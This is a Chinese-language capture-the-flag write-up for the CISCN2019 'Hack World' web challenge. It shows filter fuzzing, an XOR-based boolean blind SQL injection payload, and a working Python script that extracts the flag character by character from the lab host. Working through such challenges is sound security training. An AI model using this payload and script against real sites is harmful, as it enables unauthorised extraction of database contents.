[CISCN2019 华北赛区 Day2 Web1]Hack World -wp

[CISCN2019 华北赛区 Day2 Web1]Hack World -wp_第1张图片可以在页面上看到提示,flag在flag表flag列里
在查询0,1,2时会获得不同的回显,
0回显:Error Occured When Fetch Result.
1:Hello, glzjin wants a girlfriend
2:Do you want to be my girlfriend?
初步判断0字段应该不存在,1,2存在
[CISCN2019 华北赛区 Day2 Web1]Hack World -wp_第2张图片尝试输入or时发现被ban,我们可以fuzz一下
[CISCN2019 华北赛区 Day2 Web1]Hack World -wp_第3张图片长为482的都是不允许的
可以发现select,from,where这些常用注入字符都可以使用
题目过滤了双引号,导致很难闭合去构造语句。
这道题需要使用基于异或的boolean盲注
[CISCN2019 华北赛区 Day2 Web1]Hack World -wp_第4张图片
发现0^1可以正常回显,而0^0回显不同

id=0^(ascii(substr((select(flag)from(flag)),1,1))>0)

[CISCN2019 华北赛区 Day2 Web1]Hack World -wp_第5张图片接下来就可以使用脚本去跑了,这个网站有着流量的限制,大概跑一百次左右就会无法访问,最快的方法就是二分法查找(由于本人编程功底较差,使用的二分法有几个字符跑不出来,只能多花一点时间用sleep)。
以下脚本是使用sleep函数的脚本,跑出flag大概需要三分钟左右

import requests
import time

url = "http://29605588-3929-45e2-857c-e0742fa691ae.node3.buuoj.cn/index.php"
payload = {
	"id" : ""
}
flag = ""
for i in range(1,50):
	for m in range(29,129):
		payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))={1})".format(i,m)
		html = requests.post(url,data=payload)

		if "Hello, glzjin wants a girlfriend" in html.text:
			break;
	if m>128:
		continue
	flag=flag+chr(m)
	print(flag)
	time.sleep(5)
	```

你可能感兴趣的:([CISCN2019 华北赛区 Day2 Web1]Hack World -wp)